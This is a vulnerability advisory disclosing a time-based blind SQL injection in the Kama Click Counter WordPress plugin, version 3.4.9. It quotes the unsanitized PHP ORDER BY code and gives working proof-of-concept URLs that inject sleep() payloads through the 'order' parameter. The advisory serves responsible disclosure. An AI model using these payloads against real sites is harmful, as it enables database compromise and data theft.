=============================================
MGC ALERT 2017-002
- Original release date: February 21, 2017
- Last revised:  February 28, 2017
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin Kama Click Counter 3.4.9 - Blind SQL Injection

II. BACKGROUND
-------------------------
Using this plugin you will have statistics on clicks on your files or any
other link (not file).

III. DESCRIPTION
-------------------------
This bug was found using the portal in the
/wp-content/plugins/kama-clic-counter/admin.php file.

In the line 172,173 do not sanitize the input values.

$order_by = ($x= & $_GET['order_by']) ? esc_sql($x) : 'link_date';
$order    = ($x= & $_GET['order']) ? esc_sql($x) : 'DESC';

And in the line 182 or 186 the sql sentence is executed:

$sql = "SELECT * FROM $wpdb->kcc_clicks WHERE link_url LIKE '%$s%' OR
link_name LIKE '%$s%' ORDER BY $order_by $order LIMIT $offset, $limit";
$sql = "SELECT * FROM $wpdb->kcc_clicks ORDER BY $order_by $order LIMIT
$offset, $limit";

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Time Based SQL
Injection.

Time Based SQL Injection POC:

/wordpress/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(2)))a)&paged=1
(2 seconds of response)

/wordpress/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(30)))a)&paged=1
(30 seconds of response)

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Kama Click Counter <= 3.4.9

VII. SOLUTION
-------------------------
Disable the plugin until a fix is available.

VIII. REFERENCES
-------------------------
https://wordpress.org/plugins-wp/kama-clic-counter/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
February 21, 2017 1: Initial release
February 28, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
February 21, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
February 21, 2017 2: Send to vendor
February 24, 2017 3: New contact with vendor without response
February 28, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester